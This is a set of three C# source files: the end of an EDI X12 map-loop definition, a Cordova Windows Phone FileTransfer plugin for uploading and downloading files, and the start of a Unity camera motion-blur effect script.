RequirementDesignator.Optional, MaxOccurs = 104 }, new TC2() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, new ADV() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, new DTM() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 10 }, new CTP() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 25 }, new PAM() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 10 }, new PO4() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 1 }, new TAX() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 3 }, new L_N9_2(this) { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, new L_SAC_2(this) { ReqDes = RequirementDesignator.Optional, MaxOccurs = 25 }, new L_QTY_1(this) { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, new L_N1_3(this) { ReqDes = RequirementDesignator.Optional, MaxOccurs = 10 }, }); } } //8710 public class L_N9_2 : MapLoop { public L_N9_2(MapLoop parentLoop) : base(parentLoop) { Content.AddRange(new MapBaseEntity[] { new N9() { ReqDes = RequirementDesignator.Mandatory, MaxOccurs = 1 }, new DTM() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, new MSG() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, }); } } //8720 public class L_SAC_2 : MapLoop { public L_SAC_2(MapLoop parentLoop) : base(parentLoop) { Content.AddRange(new MapBaseEntity[] { new SAC() { ReqDes = RequirementDesignator.Mandatory, MaxOccurs = 1 }, new CUR() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 1 }, new CTP() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 1 }, }); } } //8730 public class L_QTY_1 : MapLoop { public L_QTY_1(MapLoop parentLoop) : base(parentLoop) { Content.AddRange(new MapBaseEntity[] { new QTY() { ReqDes = RequirementDesignator.Mandatory, MaxOccurs = 1 }, new SI() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, }); } } //8740 public class L_N1_3 : MapLoop { public L_N1_3(MapLoop parentLoop) : base(parentLoop) { Content.AddRange(new MapBaseEntity[] { new N1() { ReqDes = RequirementDesignator.Mandatory, MaxOccurs = 1 }, new N2() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 2 }, new N3() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 2 }, new N4() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 1 }, new NX2() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, new REF() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 12 }, new PER() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 3 }, new SI() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, }); } } //8800 public class L_AMT_1 : MapLoop { public L_AMT_1(MapLoop parentLoop) : base(parentLoop) { Content.AddRange(new MapBaseEntity[] { new AMT() { ReqDes = RequirementDesignator.Mandatory, MaxOccurs = 1 }, new REF() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 1 }, new PCT() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, }); } } //8850 public class L_LM_2 : MapLoop { public L_LM_2(MapLoop parentLoop) : base(parentLoop) { Content.AddRange(new MapBaseEntity[] { new LM() { ReqDes = RequirementDesignator.Mandatory, MaxOccurs = 1 }, new LQ() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 999999 }, }); } } //9000 public class L_CTT : MapLoop { public L_CTT(MapLoop parentLoop) : base(parentLoop) { Content.AddRange(new MapBaseEntity[] { new CTT() { ReqDes = RequirementDesignator.Mandatory, MaxOccurs = 1 }, new AMT() { ReqDes = RequirementDesignator.Optional, MaxOccurs = 1 }, }); } } } }
/* Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ using Microsoft.Phone.Controls; using System; using System.Collections.Generic; using System.IO; using System.IO.IsolatedStorage; using System.Net; using System.Runtime.Serialization; using System.Windows; using System.Security; using System.Diagnostics; using System.Threading.Tasks; namespace WPCordovaClassLib.Cordova.Commands { public class FileTransfer : BaseCommand { public class DownloadRequestState { // This class stores the State of the request. public HttpWebRequest request; public TransferOptions options; public bool isCancelled; public DownloadRequestState() { request = null; options = null; isCancelled = false; } } public class TransferOptions { /// File path to upload OR File path to download to public string FilePath { get; set; } public string Url { get; set; } /// Flag to recognize if we should trust every host (only in debug environments) public bool TrustAllHosts { get; set; } public string Id { get; set; } public string Headers { get; set; } public string CallbackId { get; set; } public bool ChunkedMode { get; set; } /// Server address public string Server { get; set; } /// File key public string FileKey { get; set; } /// File name on the server public string FileName { get; set; } /// File Mime type public string MimeType { get; set; } /// Additional options public string Params { get; set; } public string Method { get; set; } public TransferOptions() { FileKey = "file"; FileName = "image.jpg"; MimeType = "image/jpeg"; } } /// <summary> /// Boundary symbol /// </summary> private string Boundary = "----------------------------" + DateTime.Now.Ticks.ToString("x"); // Error codes public const int FileNotFoundError = 1; public const int InvalidUrlError = 2; public const int ConnectionError = 3; public const int AbortError = 4; // not really an error, but whatevs private static Dictionary<string, DownloadRequestState> InProcDownloads = new Dictionary<string,DownloadRequestState>(); // Private instance of the main WebBrowser instance // NOTE: Any access to this object needs to occur on the UI thread via the Dispatcher private WebBrowser browser; /// <summary> /// Uploading response info /// </summary> [DataContract] public class FileUploadResult { /// <summary> /// Amount of sent bytes /// </summary> [DataMember(Name = "bytesSent")] public long BytesSent { get; set; } /// <summary> /// Server response code /// </summary> [DataMember(Name = "responseCode")] public long ResponseCode { get; set; } /// <summary> /// Server response /// </summary> [DataMember(Name = "response", EmitDefaultValue = false)] public string Response { get; set; } /// <summary> /// Creates FileUploadResult object with response values /// </summary> /// <param name="bytesSent">Amount of sent bytes</param> /// <param name="responseCode">Server response code</param> /// <param name="response">Server response</param> public FileUploadResult(long bytesSent, long responseCode, string response) { this.BytesSent = bytesSent; this.ResponseCode = responseCode; this.Response = response; } } /// <summary> /// Represents transfer error codes for callback /// </summary> [DataContract] public class FileTransferError { /// <summary> /// Error code /// </summary> [DataMember(Name = "code", IsRequired = true)] public int Code { get; set; } /// <summary> /// The source URI /// </summary> [DataMember(Name = "source", IsRequired = true)] public string Source { get; set; } /// <summary> /// The target URI /// </summary> /// [DataMember(Name = "target", IsRequired = true)] public string Target { get; set; } [DataMember(Name = "body", IsRequired = true)] public string Body { get; set; } /// <summary> /// The http status code response from the remote URI /// </summary> [DataMember(Name = "http_status", IsRequired = true)] public int HttpStatus { get; set; } /// <summary> /// Creates FileTransferError object /// </summary> /// <param name="errorCode">Error code</param> public FileTransferError(int errorCode) { this.Code = errorCode; this.Source = null; this.Target = null; this.HttpStatus = 0; this.Body = ""; } public FileTransferError(int errorCode, string source, string target, int status, string body = "") { this.Code = errorCode; this.Source = source; this.Target = target; this.HttpStatus = status; this.Body = body; } } /// <summary> /// Represents a singular progress event to be passed back to javascript /// </summary> [DataContract] public class FileTransferProgress { /// <summary> /// Is the length of the response known? /// </summary> [DataMember(Name = "lengthComputable", IsRequired = true)] public bool LengthComputable { get; set; } /// <summary> /// amount of bytes loaded /// </summary> [DataMember(Name = "loaded", IsRequired = true)] public long BytesLoaded { get; set; } /// <summary> /// Total bytes /// </summary> [DataMember(Name = "total", IsRequired = false)] public long BytesTotal { get; set; } public FileTransferProgress(long bTotal = 0, long bLoaded = 0) { LengthComputable = bTotal > 0; BytesLoaded = bLoaded; BytesTotal = bTotal; } } /// <summary> /// Helper method to copy all relevant cookies from the WebBrowser control into a header on /// the HttpWebRequest /// </summary> /// <param name="browser">The source browser to copy the cookies from</param> /// <param name="webRequest">The destination HttpWebRequest to add the cookie header to</param> /// <returns>Nothing</returns> private async Task CopyCookiesFromWebBrowser(HttpWebRequest webRequest) { var tcs = new TaskCompletionSource<object>(); // Accessing WebBrowser needs to happen on the UI thread Deployment.Current.Dispatcher.BeginInvoke(() => { // Get the WebBrowser control if (this.browser == null) { PhoneApplicationFrame frame = Application.Current.RootVisual as PhoneApplicationFrame; if (frame != null) { PhoneApplicationPage page = frame.Content as PhoneApplicationPage; if (page != null) { CordovaView cView = page.FindName("CordovaView") as CordovaView; if (cView != null) { this.browser = cView.Browser; } } } } try { // Only copy the cookies if the scheme and host match (to avoid any issues with secure/insecure cookies) // NOTE: since the returned CookieCollection appears to munge the original cookie's domain value in favor of the actual Source domain, // we can't know for sure whether the cookies would be applicable to any other hosts, so best to play it safe and skip for now. if (this.browser != null && this.browser.Source.IsAbsoluteUri == true && this.browser.Source.Scheme == webRequest.RequestUri.Scheme && this.browser.Source.Host == webRequest.RequestUri.Host) { string cookieHeader = ""; string requestPath = webRequest.RequestUri.PathAndQuery; CookieCollection cookies = this.browser.GetCookies(); // Iterate over the cookies and add to the header foreach (Cookie cookie in cookies) { // Check that the path is allowed, first // NOTE: Path always seems to be empty for now, even if the cookie has a path set by the server. if (cookie.Path.Length == 0 || requestPath.IndexOf(cookie.Path, StringComparison.InvariantCultureIgnoreCase) == 0) { cookieHeader += cookie.Name + "=" + cookie.Value + "; "; } } // Finally, set the header if we found any cookies if (cookieHeader.Length > 0) { webRequest.Headers["Cookie"] = cookieHeader; } } } catch (Exception) { // Swallow the exception } // Complete the task tcs.SetResult(Type.Missing); }); await tcs.Task; } /// <summary> /// Upload options /// </summary> //private TransferOptions uploadOptions; /// <summary> /// Bytes sent /// </summary> private long bytesSent; /// <summary> /// sends a file to a server /// </summary> /// <param name="options">Upload options</param> /// exec(win, fail, 'FileTransfer', 'upload', [filePath, server, fileKey, fileName, mimeType, params, trustAllHosts, chunkedMode, headers, this._id, httpMethod]); public async void upload(string options) { options = options.Replace("{}", ""); // empty objects screw up the Deserializer string callbackId = ""; TransferOptions uploadOptions = null; HttpWebRequest webRequest = null; try { try { string[] args = JSON.JsonHelper.Deserialize<string[]>(options); uploadOptions = new TransferOptions(); uploadOptions.FilePath = args[0]; uploadOptions.Server = args[1]; uploadOptions.FileKey = args[2]; uploadOptions.FileName = args[3]; uploadOptions.MimeType = args[4]; uploadOptions.Params = args[5]; bool trustAll = false; bool.TryParse(args[6],out trustAll); uploadOptions.TrustAllHosts = trustAll; bool doChunked = false; bool.TryParse(args[7], out doChunked); uploadOptions.ChunkedMode = doChunked; //8 : Headers //9 : id //10: method uploadOptions.Headers = args[8]; uploadOptions.Id = args[9]; uploadOptions.Method = args[10]; uploadOptions.CallbackId = callbackId = args[11]; } catch (Exception) { DispatchCommandResult(new PluginResult(PluginResult.Status.JSON_EXCEPTION)); return; } Uri serverUri; try { serverUri = new Uri(uploadOptions.Server); } catch (Exception) { DispatchCommandResult(new PluginResult(PluginResult.Status.ERROR, new FileTransferError(InvalidUrlError, uploadOptions.Server, null, 0))); return; } webRequest = (HttpWebRequest)WebRequest.Create(serverUri); webRequest.ContentType = "multipart/form-data; boundary=" + Boundary; webRequest.Method = uploadOptions.Method; // Associate cookies with the request // This is an async call, so we need to await it in order to preserve proper control flow await CopyCookiesFromWebBrowser(webRequest); if (!string.IsNullOrEmpty(uploadOptions.Headers)) { Dictionary<string, string> headers = parseHeaders(uploadOptions.Headers); foreach (string key in headers.Keys) { webRequest.Headers[key] = headers[key]; } } DownloadRequestState reqState = new DownloadRequestState(); reqState.options = uploadOptions; reqState.request = webRequest; InProcDownloads[uploadOptions.Id] = reqState; webRequest.BeginGetRequestStream(uploadCallback, reqState); } catch (Exception /*ex*/) { DispatchCommandResult(new PluginResult(PluginResult.Status.ERROR, new FileTransferError(ConnectionError)),callbackId); } } // example : "{\"Authorization\":\"Basic Y29yZG92YV91c2VyOmNvcmRvdmFfcGFzc3dvcmQ=\"}" protected Dictionary<string,string> parseHeaders(string jsonHeaders) { try { Dictionary<string, string> result = new Dictionary<string, string>(); string temp = jsonHeaders.StartsWith("{") ? jsonHeaders.Substring(1) : jsonHeaders; temp = temp.EndsWith("}") ? temp.Substring(0, temp.Length - 1) : temp; string[] strHeaders = temp.Split(','); for (int n = 0; n < strHeaders.Length; n++) { // we need to use indexOf in order to WP7 compatible int splitIndex = strHeaders[n].IndexOf(':'); if (splitIndex > 0) { string[] split = new string[2]; split[0] = strHeaders[n].Substring(0, splitIndex); split[1] = strHeaders[n].Substring(splitIndex + 1); split[0] = JSON.JsonHelper.Deserialize<string>(split[0]); split[1] = JSON.JsonHelper.Deserialize<string>(split[1]); result[split[0]] = split[1]; } } return result; } catch (Exception) { Debug.WriteLine("Failed to parseHeaders from string :: " + jsonHeaders); } return null; } public async void download(string options) { TransferOptions downloadOptions = null; HttpWebRequest webRequest = null; string callbackId; try { // source, target, trustAllHosts, this._id, headers string[] optionStrings = JSON.JsonHelper.Deserialize<string[]>(options); downloadOptions = new TransferOptions(); downloadOptions.Url = optionStrings[0]; downloadOptions.FilePath = optionStrings[1]; bool trustAll = false; bool.TryParse(optionStrings[2],out trustAll); downloadOptions.TrustAllHosts = trustAll; downloadOptions.Id = optionStrings[3]; downloadOptions.Headers = optionStrings[4]; downloadOptions.CallbackId = callbackId = optionStrings[5]; } catch (Exception) { DispatchCommandResult(new PluginResult(PluginResult.Status.JSON_EXCEPTION)); return; } try { // is the URL a local app file? if (downloadOptions.Url.StartsWith("x-wmapp0") || downloadOptions.Url.StartsWith("file:")) { using (IsolatedStorageFile isoFile = IsolatedStorageFile.GetUserStoreForApplication()) { string cleanUrl = downloadOptions.Url.Replace("x-wmapp0:", "").Replace("file:", "").Replace("//",""); // pre-emptively create any directories in the FilePath that do not exist string directoryName = getDirectoryName(downloadOptions.FilePath); if (!string.IsNullOrEmpty(directoryName) && !isoFile.DirectoryExists(directoryName)) { isoFile.CreateDirectory(directoryName); } // just copy from one area of iso-store to another ... if (isoFile.FileExists(downloadOptions.Url)) { isoFile.CopyFile(downloadOptions.Url, downloadOptions.FilePath); } else { // need to unpack resource from the dll Uri uri = new Uri(cleanUrl, UriKind.Relative); var resource = Application.GetResourceStream(uri); if (resource != null) { // create the file destination if (!isoFile.FileExists(downloadOptions.FilePath)) { var destFile = isoFile.CreateFile(downloadOptions.FilePath); destFile.Close(); } using (FileStream fileStream = new IsolatedStorageFileStream(downloadOptions.FilePath, FileMode.Open, FileAccess.Write, isoFile)) { long totalBytes = resource.Stream.Length; int bytesRead = 0; using (BinaryReader reader = new BinaryReader(resource.Stream)) { using (BinaryWriter writer = new BinaryWriter(fileStream)) { int BUFFER_SIZE = 1024; byte[] buffer; while (true) { buffer = reader.ReadBytes(BUFFER_SIZE); // fire a progress event ? bytesRead += buffer.Length; if (buffer.Length > 0) { writer.Write(buffer); DispatchFileTransferProgress(bytesRead, totalBytes, callbackId); } else { writer.Close(); reader.Close(); fileStream.Close(); break; } } } } } } } } File.FileEntry entry = File.FileEntry.GetEntry(downloadOptions.FilePath); if (entry != null) { DispatchCommandResult(new PluginResult(PluginResult.Status.OK, entry), callbackId); } else { DispatchCommandResult(new PluginResult(PluginResult.Status.ERROR, File.NOT_FOUND_ERR), callbackId); } return; } else { // otherwise it is web-bound, we will actually download it //Debug.WriteLine("Creating WebRequest for url : " + downloadOptions.Url); webRequest = (HttpWebRequest)WebRequest.Create(downloadOptions.Url); } } catch (Exception /*ex*/) { DispatchCommandResult(new PluginResult(PluginResult.Status.ERROR, new FileTransferError(InvalidUrlError, downloadOptions.Url, null, 0))); return; } if (downloadOptions != null && webRequest != null) { DownloadRequestState state = new DownloadRequestState(); state.options = downloadOptions; state.request = webRequest; InProcDownloads[downloadOptions.Id] = state; // Associate cookies with the request // This is an async call, so we need to await it in order to preserve proper control flow await CopyCookiesFromWebBrowser(webRequest); if (!string.IsNullOrEmpty(downloadOptions.Headers)) { Dictionary<string, string> headers = parseHeaders(downloadOptions.Headers); foreach (string key in headers.Keys) { webRequest.Headers[key] = headers[key]; } } try { webRequest.BeginGetResponse(new AsyncCallback(downloadCallback), state); } catch (WebException) { // eat it } // dispatch an event for progress ( 0 ) lock (state) { if (!state.isCancelled) { var plugRes = new PluginResult(PluginResult.Status.OK, new FileTransferProgress()); plugRes.KeepCallback = true; plugRes.CallbackId = callbackId; DispatchCommandResult(plugRes, callbackId); } } } } public void abort(string options) { Debug.WriteLine("Abort :: " + options); string[] optionStrings = JSON.JsonHelper.Deserialize<string[]>(options); string id = optionStrings[0]; string callbackId = optionStrings[1]; if (id != null && InProcDownloads.ContainsKey(id)) { DownloadRequestState state = InProcDownloads[id]; if (!state.isCancelled) { // prevent multiple callbacks for the same abort state.isCancelled = true; if (!state.request.HaveResponse) { state.request.Abort(); InProcDownloads.Remove(id); //callbackId = state.options.CallbackId; //state = null; DispatchCommandResult(new PluginResult(PluginResult.Status.ERROR, new FileTransferError(FileTransfer.AbortError)), state.options.CallbackId); } } } else { DispatchCommandResult(new PluginResult(PluginResult.Status.IO_EXCEPTION), callbackId); // TODO: is it an IO exception? } } private void DispatchFileTransferProgress(long bytesLoaded, long bytesTotal, string callbackId, bool keepCallback = true) { Debug.WriteLine("DispatchFileTransferProgress : " + callbackId); // send a progress change event FileTransferProgress progEvent = new FileTransferProgress(bytesTotal); progEvent.BytesLoaded = bytesLoaded; PluginResult plugRes = new PluginResult(PluginResult.Status.OK, progEvent); plugRes.KeepCallback = keepCallback; plugRes.CallbackId = callbackId; DispatchCommandResult(plugRes, callbackId); } /// <summary> /// /// </summary> /// <param name="asynchronousResult"></param> private void downloadCallback(IAsyncResult asynchronousResult) { DownloadRequestState reqState = (DownloadRequestState)asynchronousResult.AsyncState; HttpWebRequest request = reqState.request; string callbackId = reqState.options.CallbackId; try { HttpWebResponse response = (HttpWebResponse)request.EndGetResponse(asynchronousResult); // send a progress change event DispatchFileTransferProgress(0, response.ContentLength, callbackId); using (IsolatedStorageFile isoFile = IsolatedStorageFile.GetUserStoreForApplication()) { // create any directories in the path that do not exist string directoryName = getDirectoryName(reqState.options.FilePath); if (!string.IsNullOrEmpty(directoryName) && !isoFile.DirectoryExists(directoryName)) { isoFile.CreateDirectory(directoryName); } // create the file if not exists if (!isoFile.FileExists(reqState.options.FilePath)) { var file = isoFile.CreateFile(reqState.options.FilePath); file.Close(); } using (FileStream fileStream = new IsolatedStorageFileStream(reqState.options.FilePath, FileMode.Open, FileAccess.Write, isoFile)) { long totalBytes = response.ContentLength; int bytesRead = 0; using (BinaryReader reader = new BinaryReader(response.GetResponseStream())) { using (BinaryWriter writer = new BinaryWriter(fileStream)) { int BUFFER_SIZE = 1024; byte[] buffer; while (true) { buffer = reader.ReadBytes(BUFFER_SIZE); // fire a progress event ? bytesRead += buffer.Length; if (buffer.Length > 0 && !reqState.isCancelled) { writer.Write(buffer); DispatchFileTransferProgress(bytesRead, totalBytes, callbackId); } else { writer.Close(); reader.Close(); fileStream.Close(); break; } System.Threading.Thread.Sleep(1); } } } } if (reqState.isCancelled) { isoFile.DeleteFile(reqState.options.FilePath); } } if (reqState.isCancelled) { DispatchCommandResult(new PluginResult(PluginResult.Status.ERROR, new FileTransferError(AbortError)), callbackId); } else { File.FileEntry entry = new File.FileEntry(reqState.options.FilePath); DispatchCommandResult(new PluginResult(PluginResult.Status.OK, entry), callbackId); } } catch (IsolatedStorageException) { // Trying to write the file somewhere within the IsoStorage. DispatchCommandResult(new PluginResult(PluginResult.Status.ERROR, new FileTransferError(FileNotFoundError)), callbackId); } catch (SecurityException) { // Trying to write the file somewhere not allowed. DispatchCommandResult(new PluginResult(PluginResult.Status.ERROR, new FileTransferError(FileNotFoundError)), callbackId); } catch (WebException webex) { // TODO: probably need better work here to properly respond with all http status codes back to JS // Right now am jumping through hoops just to detect 404. HttpWebResponse response = (HttpWebResponse)webex.Response; if ((webex.Status == WebExceptionStatus.ProtocolError && response.StatusCode == HttpStatusCode.NotFound) || webex.Status == WebExceptionStatus.UnknownError) { // Weird MSFT detection of 404... seriously... just give us the f(*&#$@ status code as a number ffs!!! // "Numbers for HTTP status codes? Nah.... let's create our own set of enums/structs to abstract that stuff away." // FACEPALM // Or just cast it to an int, whiner ... -jm int statusCode = (int)response.StatusCode; string body = ""; using (Stream streamResponse = response.GetResponseStream()) { using (StreamReader streamReader = new StreamReader(streamResponse)) { body = streamReader.ReadToEnd(); } } FileTransferError ftError = new FileTransferError(ConnectionError, null, null, statusCode, body); DispatchCommandResult(new PluginResult(PluginResult.Status.ERROR, ftError), callbackId); } else { lock (reqState) { if (!reqState.isCancelled) { DispatchCommandResult(new PluginResult(PluginResult.Status.ERROR, new FileTransferError(ConnectionError)), callbackId); } else { Debug.WriteLine("It happened"); } } } } catch (Exception) { DispatchCommandResult(new PluginResult(PluginResult.Status.ERROR, new FileTransferError(FileNotFoundError)), callbackId); } //System.Threading.Thread.Sleep(1000); if (InProcDownloads.ContainsKey(reqState.options.Id)) { InProcDownloads.Remove(reqState.options.Id); } } /// <summary> /// Read file from Isolated Storage and sends it to server /// </summary> /// <param name="asynchronousResult"></param> private void uploadCallback(IAsyncResult asynchronousResult) { DownloadRequestState reqState = (DownloadRequestState)asynchronousResult.AsyncState; HttpWebRequest webRequest = reqState.request; string callbackId = reqState.options.CallbackId; try { using (Stream requestStream = (webRequest.EndGetRequestStream(asynchronousResult))) { string lineStart = "--"; string lineEnd = Environment.NewLine; byte[] boundaryBytes = System.Text.Encoding.UTF8.GetBytes(lineStart + Boundary + lineEnd); string formdataTemplate = "Content-Disposition: form-data; name=\"{0}\"" + lineEnd + lineEnd + "{1}" + lineEnd; if (!string.IsNullOrEmpty(reqState.options.Params)) { Dictionary<string, string> paramMap = parseHeaders(reqState.options.Params); foreach (string key in paramMap.Keys) { requestStream.Write(boundaryBytes, 0, boundaryBytes.Length); string formItem = string.Format(formdataTemplate, key, paramMap[key]); byte[] formItemBytes = System.Text.Encoding.UTF8.GetBytes(formItem); requestStream.Write(formItemBytes, 0, formItemBytes.Length); } } using (IsolatedStorageFile isoFile = IsolatedStorageFile.GetUserStoreForApplication()) { if (!isoFile.FileExists(reqState.options.FilePath)) { DispatchCommandResult(new PluginResult(PluginResult.Status.ERROR, new FileTransferError(FileNotFoundError, reqState.options.Server, reqState.options.FilePath, 0))); return; } byte[] endRequest = System.Text.Encoding.UTF8.GetBytes(lineEnd + lineStart + Boundary + lineStart + lineEnd); long totalBytesToSend = 0; using (FileStream fileStream = new IsolatedStorageFileStream(reqState.options.FilePath, FileMode.Open, isoFile)) { string headerTemplate = "Content-Disposition: form-data; name=\"{0}\"; filename=\"{1}\"" + lineEnd + "Content-Type: {2}" + lineEnd + lineEnd; string header = string.Format(headerTemplate, reqState.options.FileKey, reqState.options.FileName, reqState.options.MimeType); byte[] headerBytes = System.Text.Encoding.UTF8.GetBytes(header); byte[] buffer = new byte[4096]; int bytesRead = 0; //sent bytes needs to be reseted before new upload bytesSent = 0; totalBytesToSend = fileStream.Length; requestStream.Write(boundaryBytes, 0, boundaryBytes.Length); requestStream.Write(headerBytes, 0, headerBytes.Length); while ((bytesRead = fileStream.Read(buffer, 0, buffer.Length)) != 0) { if (!reqState.isCancelled) { requestStream.Write(buffer, 0, bytesRead); bytesSent += bytesRead; DispatchFileTransferProgress(bytesSent, totalBytesToSend, callbackId); System.Threading.Thread.Sleep(1); } else { throw new Exception("UploadCancelledException"); } } } requestStream.Write(endRequest, 0, endRequest.Length); } } // webRequest webRequest.BeginGetResponse(ReadCallback, reqState); } catch (Exception /*ex*/) { if (!reqState.isCancelled) { DispatchCommandResult(new PluginResult(PluginResult.Status.ERROR, new FileTransferError(ConnectionError)), callbackId); } } } /// <summary> /// Reads response into FileUploadResult /// </summary> /// <param name="asynchronousResult"></param> private void ReadCallback(IAsyncResult asynchronousResult) { DownloadRequestState reqState = (DownloadRequestState)asynchronousResult.AsyncState; try { HttpWebRequest webRequest = reqState.request; string callbackId = reqState.options.CallbackId; if (InProcDownloads.ContainsKey(reqState.options.Id)) { InProcDownloads.Remove(reqState.options.Id); } using (HttpWebResponse response = (HttpWebResponse)webRequest.EndGetResponse(asynchronousResult)) { using (Stream streamResponse = response.GetResponseStream()) { using (StreamReader streamReader = new StreamReader(streamResponse)) { string responseString = streamReader.ReadToEnd(); Deployment.Current.Dispatcher.BeginInvoke(() => { DispatchCommandResult(new PluginResult(PluginResult.Status.OK, new FileUploadResult(bytesSent, (long)response.StatusCode, responseString))); }); } } } } catch (WebException webex) { // TODO: probably need better work here to properly respond with all http status codes back to JS // Right now am jumping through hoops just to detect 404. if ((webex.Status == WebExceptionStatus.ProtocolError && ((HttpWebResponse)webex.Response).StatusCode == HttpStatusCode.NotFound) || webex.Status == WebExceptionStatus.UnknownError) { int statusCode = (int)((HttpWebResponse)webex.Response).StatusCode; FileTransferError ftError = new FileTransferError(ConnectionError, null, null, statusCode); DispatchCommandResult(new PluginResult(PluginResult.Status.ERROR, ftError), reqState.options.CallbackId); } else { DispatchCommandResult(new PluginResult(PluginResult.Status.ERROR, new FileTransferError(ConnectionError)), reqState.options.CallbackId); } } catch (Exception /*ex*/) { FileTransferError transferError = new FileTransferError(ConnectionError, reqState.options.Server, reqState.options.FilePath, 403); DispatchCommandResult(new PluginResult(PluginResult.Status.ERROR, transferError), reqState.options.CallbackId); } } // Gets the full path without the filename private string getDirectoryName(String filePath) { string directoryName; try { directoryName = filePath.Substring(0, filePath.LastIndexOf('/')); } catch { directoryName = ""; } return directoryName; } } }
using System; using UnityEngine; namespace UnitySampleAssets.ImageEffects { [ExecuteInEditMode] [RequireComponent (typeof(Camera))] [AddComponentMenu ("Image Effects/Camera/Camera Motion Blur") ] public class CameraMotionBlur : PostEffectsBase { // make sure to match this to MAX_RADIUS in shader ('k' in paper) static float MAX_RADIUS = 10.0f; public enum MotionBlurFilter { CameraMotion = 0, // global screen blur based on cam motion LocalBlur = 1, // cheap blur, no dilation or scattering Reconstruction = 2, // advanced filter (simulates scattering) as in plausible motion blur paper ReconstructionDX11 = 3, // advanced filter (simulates scattering) as in plausible motion blur paper ReconstructionDisc = 4, // advanced filter using scaled poisson disc sampling } // settings public MotionBlurFilter filterType = MotionBlurFilter.Reconstruction; public bool preview = false; // show how blur would look like in action ... public Vector3 previewScale = Vector3.one; // ... given this movement vector // params public float movementScale = 0.0f; public float rotationScale = 1.0f; public float maxVelocity = 8.0f; // maximum velocity in pixels public float minVelocity = 0.1f; // minimum velocity in pixels public float velocityScale = 0.375f; // global velocity scale public float softZDistance = 0.005f; // for z overlap check softness (reconstruction filter only) public int velocityDownsample = 1; // low resolution velocity buffer? (optimization) public LayerMask excludeLayers = 0; private GameObject tmpCam = null; // resources public Shader shader; public Shader dx11MotionBlurShader; public Shader replacementClear; private Material motionBlurMaterial = null; private Material dx11MotionBlurMaterial = null; public Texture2D noiseTexture = null; public float jitter = 0.05f; // (internal) debug public bool showVelocity = false; public float showVelocityScale = 1.0f; // camera transforms private Matrix4x4 currentViewProjMat; private Matrix4x4 prevViewProjMat; private int prevFrameCount; private bool wasActive; // shortcuts to calculate global blur direction when using 'CameraMotion' private Vector3 prevFrameForward = Vector3.forward; private Vector3 prevFrameUp = Vector3.up; private Vector3 prevFramePos = Vector3.zero; private Camera _camera; private void CalculateViewProjection () { Matrix4x4 viewMat = _camera.worldToCameraMatrix; Matrix4x4 projMat = GL.GetGPUProjectionMatrix (_camera.projectionMatrix, true); currentViewProjMat = projMat * viewMat; } new void Start () { CheckResources (); if (_camera == null) _camera = GetComponent<Camera>(); wasActive = gameObject.activeInHierarchy; CalculateViewProjection (); Remember (); wasActive = false; // hack to fake position/rotation update and prevent bad blurs } void OnEnable () { if (_camera == null) _camera = GetComponent<Camera>(); _camera.depthTextureMode |= DepthTextureMode.Depth; } void OnDisable () { if (null != motionBlurMaterial) { DestroyImmediate (motionBlurMaterial); motionBlurMaterial = null; } if (null != dx11MotionBlurMaterial) { DestroyImmediate (dx11MotionBlurMaterial); dx11MotionBlurMaterial = null; } if (null != tmpCam) { DestroyImmediate (tmpCam); tmpCam = null; } } public override bool CheckResources () { CheckSupport (true, true); // depth & hdr needed motionBlurMaterial = CheckShaderAndCreateMaterial (shader, motionBlurMaterial); if (supportDX11 && filterType == MotionBlurFilter.ReconstructionDX11) { dx11MotionBlurMaterial = CheckShaderAndCreateMaterial (dx11MotionBlurShader, dx11MotionBlurMaterial); } if (!isSupported) ReportAutoDisable (); return isSupported; } void OnRenderImage (RenderTexture source, RenderTexture destination) { if (false == CheckResources ()) { Graphics.Blit (source, destination); return; } if (filterType == MotionBlurFilter.CameraMotion) StartFrame (); // use if possible new RG format ... fallback to half otherwise var rtFormat= SystemInfo.SupportsRenderTextureFormat (RenderTextureFormat.RGHalf) ? RenderTextureFormat.RGHalf : RenderTextureFormat.ARGBHalf; // get temp textures RenderTexture velBuffer = RenderTexture.GetTemporary (divRoundUp (source.width, velocityDownsample), divRoundUp (source.height, velocityDownsample), 0, rtFormat); int tileWidth = 1; int tileHeight = 1; maxVelocity = Mathf.Max (2.0f, maxVelocity); float _maxVelocity = maxVelocity; // calculate 'k' // note: 's' is hardcoded in shaders except for DX11 path // auto DX11 fallback! bool fallbackFromDX11 = filterType == MotionBlurFilter.ReconstructionDX11 && dx11MotionBlurMaterial == null; if (filterType == MotionBlurFilter.Reconstruction || fallbackFromDX11 || filterType == MotionBlurFilter.ReconstructionDisc) { maxVelocity = Mathf.Min (maxVelocity, MAX_RADIUS); tileWidth = divRoundUp (velBuffer.width, (int) maxVelocity); tileHeight = divRoundUp (velBuffer.height, (int) maxVelocity); _maxVelocity = velBuffer.width/tileWidth; } else { tileWidth = divRoundUp (velBuffer.width, (int) maxVelocity); tileHeight = divRoundUp (velBuffer.height, (int) maxVelocity); _maxVelocity = velBuffer.width/tileWidth; } 